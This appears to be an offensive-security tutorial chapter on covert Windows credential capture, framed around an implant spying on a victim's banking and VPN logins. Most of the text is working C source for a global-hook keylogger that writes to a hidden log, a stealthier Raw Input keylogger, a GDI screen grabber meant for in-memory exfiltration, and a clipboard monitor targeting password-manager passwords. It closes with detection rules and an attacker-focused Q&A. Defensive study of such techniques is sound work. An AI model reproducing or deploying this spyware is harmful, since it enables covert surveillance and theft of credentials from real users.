Keylogging and Screen Capture
Keylogging and screen capture are the attacker's answers to strong credential policies — when passwords are long, complex, and rotated, you capture them at the moment the user types them. Three distinct Windows mechanisms achieve this: global hooks via SetWindowsHookEx, the Raw Input API for low-visibility input monitoring, and GDI/DirectX screen capture. Each has different privilege requirements, detection characteristics, and resilience to EDR inspection.
Your implant is running in a mid-privilege user context. Credential Guard blocks LSASS dumps. The target logs into a web banking app and corporate VPN daily. You need to capture keystrokes from foreground windows and take periodic screenshots, all without creating a visible window, without loading a driver, and while blending into the noise of legitimate keyboard monitoring software like password managers and accessibility tools.
Keyboard Hook Types
| Method | Privilege | Scope | EDR visibility |
|---|---|---|---|
| WH_KEYBOARD_LL (global hook) | User (no admin) | All keystrokes system-wide | High — SetWindowsHookEx is well-monitored |
| WH_KEYBOARD (non-LL global) | User + same session | Keystrokes in same desktop | Medium — requires DLL injection into target thread |
| Raw Input API (RegisterRawInputDevices) | User | All input while window active | Low — normal API path, accessibility tools use it |
| GetAsyncKeyState polling | User | Any key at any time | Low individually, but high CPU with fast poll |
| DirectInput / RawInput background | User | Background input with RIDEV_INPUTSINK | Low — used by games and accessibility software |
Low-Level Keyboard Hook
// WH_KEYBOARD_LL: system-wide hook that intercepts all keystrokes
// regardless of which window is focused. No DLL injection needed.
// The hook callback runs in the thread that installed it.
// Requires a message pump (GetMessage loop) in the installing thread.
#include <windows.h>
#include <stdio.h>
static HHOOK g_hook = NULL;
static HANDLE g_logFile = INVALID_HANDLE_VALUE;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* kbs = (KBDLLHOOKSTRUCT*)lParam;
// Get foreground window title for context
HWND fg = GetForegroundWindow();
WCHAR title[256] = {0};
GetWindowTextW(fg, title, 256);
// Translate VK to character
BYTE kbState[256];
GetKeyboardState(kbState);
WCHAR ch[4] = {0};
int n = ToUnicode(kbs->vkCode, kbs->scanCode, kbState, ch, 3, 0);
WCHAR logLine[512];
if (n > 0)
swprintf_s(logLine, L"[%s] %s\n", title, ch);
else
swprintf_s(logLine, L"[%s] <VK:%02X>\n", title, kbs->vkCode);
DWORD bw;
WriteFile(g_logFile, logLine, (DWORD)(wcslen(logLine)*sizeof(WCHAR)), &bw, NULL);
}
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
DWORD WINAPI KeylogThread(LPVOID _) {
g_logFile = CreateFileW(L"C:\\Temp\\keys.log",
GENERIC_WRITE, FILE_SHARE_READ, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
g_hook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
MSG msg;
while (GetMessageW(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
UnhookWindowsHookEx(g_hook);
CloseHandle(g_logFile);
return 0;
}
Raw Input API (Stealthier)
// Raw Input API is lower-level than WH_KEYBOARD_LL and less watched by EDR.
// RIDEV_INPUTSINK: receive input even when the window is not in the foreground.
// Requires a message-only window (HWND_MESSAGE) to receive WM_INPUT messages.
// Used legitimately by DirectInput, accessibility tools, game overlays.
#include <windows.h>
HWND CreateMessageOnlyWindow(WNDPROC proc, LPCWSTR className) {
WNDCLASSW wc = {0};
wc.lpfnWndProc = proc;
wc.hInstance = GetModuleHandleW(NULL);
wc.lpszClassName = className;
RegisterClassW(&wc);
return CreateWindowExW(0, className, NULL, 0,
0, 0, 0, 0, HWND_MESSAGE, NULL,
wc.hInstance, NULL);
}
LRESULT CALLBACK RawInputProc(HWND hwnd, UINT msg,
WPARAM wParam, LPARAM lParam) {
if (msg == WM_INPUT) {
UINT sz = 0;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &sz, sizeof(RAWINPUTHEADER));
RAWINPUT* ri = (RAWINPUT*)alloca(sz);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, ri, &sz, sizeof(RAWINPUTHEADER));
if (ri->header.dwType == RIM_TYPEKEYBOARD &&
ri->data.keyboard.Message == WM_KEYDOWN) {
USHORT vk = ri->data.keyboard.VKey;
// Translate and log vk — same as WH_KEYBOARD_LL approach above
}
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
DWORD WINAPI RawKeylogThread(LPVOID _) {
HWND hwnd = CreateMessageOnlyWindow(RawInputProc, L"SysAcc");
RAWINPUTDEVICE rid = {
0x01, // usUsagePage: HID_USAGE_PAGE_GENERIC
0x06, // usUsage: HID_USAGE_GENERIC_KEYBOARD
RIDEV_INPUTSINK, // background input capture
hwnd
};
RegisterRawInputDevices(&rid, 1, sizeof(rid));
MSG msg;
while (GetMessageW(&msg, NULL, 0, 0))
DispatchMessageW(&msg);
return 0;
}
Screen Capture with GDI
// GDI BitBlt: copy the screen DC into a memory DC, save as BMP.
// Can also target a specific hwnd for window-level capture.
// For stealth: save to memory buffer, compress, exfil via C2 — never write to disk.
#include <windows.h>
BOOL CaptureScreen(LPBYTE* outBuf, DWORD* outSize) {
HDC hdcScreen = GetDC(NULL);
int w = GetSystemMetrics(SM_CXSCREEN);
int h = GetSystemMetrics(SM_CYSCREEN);
HDC hdcMem = CreateCompatibleDC(hdcScreen);
HBITMAP hBmp = CreateCompatibleBitmap(hdcScreen, w, h);
HGDIOBJ old = SelectObject(hdcMem, hBmp);
BitBlt(hdcMem, 0, 0, w, h, hdcScreen, 0, 0, SRCCOPY);
BITMAPINFOHEADER bih = {sizeof(bih), w, -h, 1, 32, BI_RGB};
DWORD dataSize = w * h * 4;
LPBYTE pixels = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dataSize);
GetDIBits(hdcMem, hBmp, 0, h, pixels, (BITMAPINFO*)&bih, DIB_RGB_COLORS);
// Build BMP file in memory
DWORD fileSize = sizeof(BITMAPFILEHEADER) + sizeof(bih) + dataSize;
LPBYTE bmpBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize);
BITMAPFILEHEADER* bfh = (BITMAPFILEHEADER*)bmpBuf;
bfh->bfType = 0x4D42; // 'BM'
bfh->bfSize = fileSize;
bfh->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(bih);
memcpy(bmpBuf + sizeof(BITMAPFILEHEADER), &bih, sizeof(bih));
memcpy(bmpBuf + bfh->bfOffBits, pixels, dataSize);
HeapFree(GetProcessHeap(), 0, pixels);
SelectObject(hdcMem, old); DeleteObject(hBmp);
DeleteDC(hdcMem); ReleaseDC(NULL, hdcScreen);
*outBuf = bmpBuf;
*outSize = fileSize;
return TRUE;
}
Clipboard Monitoring
// Clipboard often contains passwords from password managers.
// AddClipboardFormatListener: modern, event-driven clipboard notification.
// Old method: SetClipboardViewer — avoided as it alters the clipboard chain.
LRESULT CALLBACK ClipboardWndProc(HWND hwnd, UINT msg,
WPARAM wp, LPARAM lp) {
if (msg == WM_CLIPBOARDUPDATE) {
if (!OpenClipboard(NULL)) return 0;
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
if (hData) {
LPWSTR text = (LPWSTR)GlobalLock(hData);
if (text) {
// Log clipboard content — check size first
SIZE_T sz = GlobalSize(hData);
if (sz < 4096) {
// Write to log, exfil, etc.
}
GlobalUnlock(hData);
}
}
CloseClipboard();
}
return DefWindowProcW(hwnd, msg, wp, lp);
}
DWORD WINAPI ClipboardMonitorThread(LPVOID _) {
HWND hwnd = CreateMessageOnlyWindow(ClipboardWndProc, L"SysClip");
AddClipboardFormatListener(hwnd);
MSG msg;
while (GetMessageW(&msg, NULL, 0, 0)) DispatchMessageW(&msg);
return 0;
}
Detection Engineering
title: Low-Level Keyboard Hook Installation (WH_KEYBOARD_LL)
logsource:
product: windows
category: image_load
detection:
selection:
EventID: 7 # Sysmon image load
ImageLoaded|endswith: '\user32.dll'
parent_filter:
Image|contains:
- '\taskmgr.exe'
- '\SearchHost.exe'
condition: selection AND NOT parent_filter
falsepositives: [accessibility software, password managers, AHK scripts]
level: medium
title: Suspicious Raw Input Device Registration (Background Keyboard Capture)
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 11 # FileCreate — log file creation pattern
TargetFilename|endswith: '.log'
process_context:
Image|contains:
- '\Temp\'
- '\AppData\Local\Temp\'
condition: selection AND process_context
level: medium
-- MDE KQL: detect processes registering system-wide keyboard hooks
DeviceEvents
| where ActionType == "SetWindowsHookEx"
or (ActionType == "CreateRemoteThread" and
InitiatingProcessFileName !in~ ("SearchHost.exe","explorer.exe"))
| where Timestamp > ago(1d)
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, ActionType
-- Screen capture: unusual GDI BitBlt combined with file write
DeviceFileEvents
| where FileName endswith ".bmp" or FileName endswith ".png"
| where FolderPath !contains "\\Desktop\\"
and FolderPath !contains "\\Pictures\\"
| where InitiatingProcessFileName !in~ ("SnippingTool.exe","ScreenSketch.exe")
| summarize screenshots = count(), paths = make_set(FolderPath)
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 5m)
| where screenshots > 5
Q&A
Why is GetAsyncKeyState polling considered a weaker keylogger approach compared to WH_KEYBOARD_LL, and when might an attacker prefer it anyway?
GetAsyncKeyState polling has two fundamental weaknesses as a keylogger: it can miss keystrokes and it provides no window context. If two keys are pressed and released between two consecutive poll cycles, the second key may not register. The API only tells you whether a key was pressed since the last call — it provides no event stream, no ordering, and no timing. At 100ms polling intervals, fast typists will have silent characters. At 10ms intervals, the polling thread itself becomes detectable via CPU usage patterns.
Additionally, GetAsyncKeyState gives no indication of which application has focus. The attacker sees "V pressed" but not "V pressed while Chrome had a field labeled Password open." The window-context information — which WH_KEYBOARD_LL provides via GetForegroundWindow() — is what makes a keylog actionable.
An attacker might nonetheless prefer it in two scenarios: first, when EDR is aggressively watching SetWindowsHookEx calls and the operator wants any technique that avoids that API; second, when the target environment has specific behavior that makes polling sufficient — for example, when the operator knows the user accesses a specific terminal window at a specific time, and the poll interval is tuned accordingly. It is also trivially implementable in scripting languages (PowerShell, Python via ctypes) that cannot easily install message hooks, making it useful for quick-and-dirty post-exploitation scripts where reliability is traded for deployment simplicity.